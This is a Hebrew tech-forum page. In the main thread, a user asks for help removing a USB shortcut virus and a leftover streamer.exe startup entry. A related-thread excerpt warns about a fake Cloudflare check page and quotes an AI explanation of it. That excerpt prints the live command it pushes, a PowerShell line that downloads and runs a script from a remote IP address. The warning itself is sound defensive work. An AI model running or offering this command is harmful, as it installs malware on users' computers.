וירוס קיצור דרך והודעות קופצות- לא מצליח להיפטר

  • הוסף לסימניות
  • #1
שלום.
יש לי כמה מחשבים, ולאחרונה הוירוס הידוע לשימצה (וירוס קיצור דרך) השתולל ועבר מאחד לשני. בעזרת הפורום, וקריאת (אולי "כל") האשכולות בעניין זה, הצלחתי להיפטר ממנו, מלבד 2 מחשבים שבהם הוא מסרב לצאת, אף שביצעתי את האמור באשכולות קודמים.
אשמח למי שיכול לעזור לי בפתרון ספציפי:
מחשב 1: אכן המחשב לא מייצר קיצורי דרך בהתקנים, אך כל פעם שאני מדליק אותו קופץ לי מסך- מסך שחור+ הודעה (מופיע בתמונה מס' 1). בתחילה קפץ רק הריבוע השחור (c:\windows\system32\cmd.exe) לחצי שניה בהדלקת המחשב ונעלם- (הקובץ קיים בתקיית היעד הנ"ל בתקיות מוסתרות), ובמקביל קפץ חלון קטן (c:\streamer\streamer.exe)- מחקתי קובץ זה, ומאז קופץ לי בצורה הנ"ל (תמונה מס' 1).
מחשב 2: מחשב זה ממשיך לייצר לי קיצורי דרך רק בהתקנים חיצוניים (ולא בכונן של המחשב)- כל תיקיה בהתקן, מקבלת קיצור דרך על שמה. בנוסף, בהדלקת המחשב קופץ ריבוע שחור (c:\streamer\streamer.exe) ונעלם מיד- קובץ זה קיים בתיקיה מוסתרת ביעד הנ"ל (מצורף בתמונה מס' 2) ניסיתי למחוק קובץ זה כמו במחשב הראשון, אך כותב לי שא"א כיון שהקובץ פתוח ב"ultra Virus" וכו'- אני מצרף בתמונה מס' 3 צילום של מנהל המשימות למחשב זה.
ניסיתי להפעיל את כל הקבצים והתוכנות שראיתי בכמה אשכולות כאן, ולא עזר !
תודה מראש
 

קבצים מצורפים

  • 1.PNG
    1.PNG
    KB 69.8 · צפיות: 93
  • 2.PNG
    2.PNG
    KB 20.7 · צפיות: 88
  • 3.PNG
    3.PNG
    KB 89.3 · צפיות: 78
  • הוסף לסימניות
  • #2
חפש בפורום תוכנות שמוצף בנושא הזה
 
  • הוסף לסימניות
  • #4
  • הוסף לסימניות
  • #5
לגבי מחשב 1 זה פשוט
תתקין ccleaner
כלים>אתחול
ברשימת האתחול מופיע כל מה שעולה בכניסה למחשב תחפש את הנתיב שמופיע באזהרה ותמחק
הסבר: הוירוס נתן פקודה להפעלה אוטומטית וכיון שמחקת את הוירוס המחשב לא מוצא את הקובץ אותו הוא צריך להעלות אוטומטית.
 

פרוגבוט

תוכן שיווקי
פרסומת

פוסטים חדשים שאולי לא קראת....

אשכולות דומים

ניסיתי להכנס לאתר של הרב אפרתי - נותן הכשרות
לאחר לחיצה על סימון - אתה לא רובוט...

הופתעתי מאוד לראות את זה:
1773765478164.png
נראה חשוד!

מאוד חשוד!!!

‫Gemini אמר​

אזהרה: מדובר בהונאה ובתוכנה זדונית (Malware)

התמונה שצירפת מציגה דף מזויף שמתחזה לשירות ההגנה Cloudflare, אך למעשה מדובר בשיטה להרצת קוד זדוני על המחשב שלך.

למה זה מסוכן?

ההוראות בתמונה מבקשות ממך לבצע רצף פעולות חריג מאוד:
  1. צירוף המקשים Win + R: פותח את חלון ה-"הפעלה" (Run) של ווינדוס, שמשמש להרצת פקודות מערכת.
  2. צירוף המקשים Ctrl + V: מדביק פקודה שהאתר העתיק ללוח הגזירים (Clipboard) שלך באופן אוטומטי ברגע שנכנסת לדף או לחצת על כפתור.
  3. לחיצה על OK: מריצה את הפקודה המודבקת.
מה קורה בפועל?ברגע שתלחץ על OK, המחשב יריץ פקודה (בדרך כלל פקודת PowerShell) שמורידה ומתקינה וירוס, תוכנת כופר או תוכנה לגניבת סיסמאות ופרטי בנק. אף שירות אימות לגיטימי (כמו Cloudflare) לא יבקש ממך להריץ פקודות ידניות בחלון ה-Run של המערכת.



מה עליך לעשות?

  • אל תבצע את ההוראות: אל תקיש על שום שילוב מקשים ואל תדביק דבר.
  • סגור את הלשונית מיד: צא מהאתר הזה ואל תחזור אליו.
  • סריקת וירוסים: מומלץ להריץ סריקה מלאה של האנטי-וירוס במחשב שלך (כמו Windows Defender או תוכנה מוכרת אחרת) ליתר ביטחון.
  • ניקוי היסטוריה: כדאי לנקות את הקבצים הזמניים והקוקיז בדפדפן.

בדקתי בלוח מה הפקודה שהוא רצה שאני אריץ במחשב....
זה הפקודה: powershell -c iex(irm 158.94.209.33 -UseBasicParsing) - סכנה! לא להריץ בשום אופן!!!!

תקראו טוב מה גיימני כותב שזה עושה למחשב שלכם...

זהירות! מדובר בתוכנה זדונית (Malware) ודאית.

הפקודה שהעתקת היא הוכחה חותכת לכך שמדובר בניסיון פריצה. בוא נפרק את הפקודה כדי שתבין בדיוק מה היא מנסה לעשות למחשב שלך:

  • powershell: מפעיל את ממשק הפקודות המתקדם של ווינדוס. לממשק זה יש הרשאות עמוקות לשינוי הגדרות מערכת.
  • iex (Invoke-Expression): פקודה שאומרת למחשב: "כל מה שתקבל בהמשך – תריץ אותו כקוד עכשיו".
  • irm (Invoke-RestMethod): פקודה להורדת תוכן מהאינטרנט.
  • 158.94.209.33: זוהי כתובת IP של שרת מרוחק (שאינו קשור ל-Cloudflare). הפקודה מנסה למשוך קובץ "תסריט" (Script) מהשרת הזה.
  • -UseBasicParsing: הוראה לדפדפן הפנימי להתעלם מבדיקות תאימות ולהריץ את הקוד במהירות.



מה המשמעות?

ברגע שהיית לוחץ על OK, המחשב שלך היה פונה לכתובת ה-IP הזו, מוריד קוד זדוני (כמו סוס טרויאני או תוכנת כופר) ומריץ אותו מיד ברקע, בלי שתראה חלון נוסף או אזהרה.

צעדים דחופים אם כבר הרצת את הפקודה:

  1. ניתוק מהאינטרנט: כבה את ה-Wi-Fi או נתק את כבל הרשת מיד כדי למנוע מהווירוס לשלוח מידע החוצה או להוריד רכיבים נוספים.
  2. סריקה במצב בטוח: הפעל את המחשב ב-"מצב בטוח" (Safe Mode) והרץ סריקה מלאה של אנטי-וירוס מעודכן.
  3. שינוי סיסמאות: ממכשיר אחר (טלפון או מחשב נקי), שנה סיסמאות לחשבונות רגישים (מייל, בנק, רשתות חברתיות).




מסקנה:

זהירות!!!

הצטרפות לניוזלטר

איזה כיף שהצטרפתם לניוזלטר שלנו!

מעכשיו, תהיו הראשונים לקבל את כל העדכונים, החדשות, ההפתעות בלעדיות, והתכנים הכי חמים שלנו בפרוג!

לוח מודעות

הפרק היומי

הפרק היומי! כל ערב פרק תהילים חדש. הצטרפו אלינו לקריאת תהילים משותפת!


תהילים פרק כה

אלְדָוִד אֵלֶיךָ יי נַפְשִׁי אֶשָּׂא:באֱלֹהַי בְּךָ בָטַחְתִּי אַל אֵבוֹשָׁה אַל יַעַלְצוּ אֹיְבַי לִי:גגַּם כָּל קוֶֹיךָ לֹא יֵבֹשׁוּ יֵבֹשׁוּ הַבּוֹגְדִים רֵיקָם:דדְּרָכֶיךָ יי הוֹדִיעֵנִי אֹרְחוֹתֶיךָ לַמְּדֵנִי:ההַדְרִיכֵנִי בַאֲמִתֶּךָ וְלַמְּדֵנִי כִּי אַתָּה אֱלֹהֵי יִשְׁעִי אוֹתְךָ קִוִּיתִי כָּל הַיּוֹם:וזְכֹר רַחֲמֶיךָ יי וַחֲסָדֶיךָ כִּי מֵעוֹלָם הֵמָּה:זחַטֹּאות נְעוּרַי וּפְשָׁעַי אַל תִּזְכֹּר כְּחַסְדְּךָ זְכָר לִי אַתָּה לְמַעַן טוּבְךָ יי:חטוֹב וְיָשָׁר יי עַל כֵּן יוֹרֶה חַטָּאִים בַּדָּרֶךְ:טיַדְרֵךְ עֲנָוִים בַּמִּשְׁפָּט וִילַמֵּד עֲנָוִים דַּרְכּוֹ:יכָּל אָרְחוֹת יי חֶסֶד וֶאֱמֶת לְנֹצְרֵי בְרִיתוֹ וְעֵדֹתָיו:יאלְמַעַן שִׁמְךָ יי וְסָלַחְתָּ לַעֲוֹנִי כִּי רַב הוּא:יבמִי זֶה הָאִישׁ יְרֵא יי יוֹרֶנּוּ בְּדֶרֶךְ יִבְחָר:יגנַפְשׁוֹ בְּטוֹב תָּלִין וְזַרְעוֹ יִירַשׁ אָרֶץ:ידסוֹד יי לִירֵאָיו וּבְרִיתוֹ לְהוֹדִיעָם:טועֵינַי תָּמִיד אֶל יי כִּי הוּא יוֹצִיא מֵרֶשֶׁת רַגְלָי:טזפְּנֵה אֵלַי וְחָנֵּנִי כִּי יָחִיד וְעָנִי אָנִי:יזצָרוֹת לְבָבִי הִרְחִיבוּ מִמְּצוּקוֹתַי הוֹצִיאֵנִי:יחרְאֵה עָנְיִי וַעֲמָלִי וְשָׂא לְכָל חַטֹּאותָי:יטרְאֵה אוֹיְבַי כִּי רָבּוּ וְשִׂנְאַת חָמָס שְׂנֵאוּנִי:כשָׁמְרָה נַפְשִׁי וְהַצִּילֵנִי אַל אֵבוֹשׁ כִּי חָסִיתִי בָךְ:כאתֹּם וָיֹשֶׁר יִצְּרוּנִי כִּי קִוִּיתִיךָ:כבפְּדֵה אֱלֹהִים אֶת יִשְׂרָאֵל מִכֹּל צָרוֹתָיו:
נקרא  2  פעמים
למעלה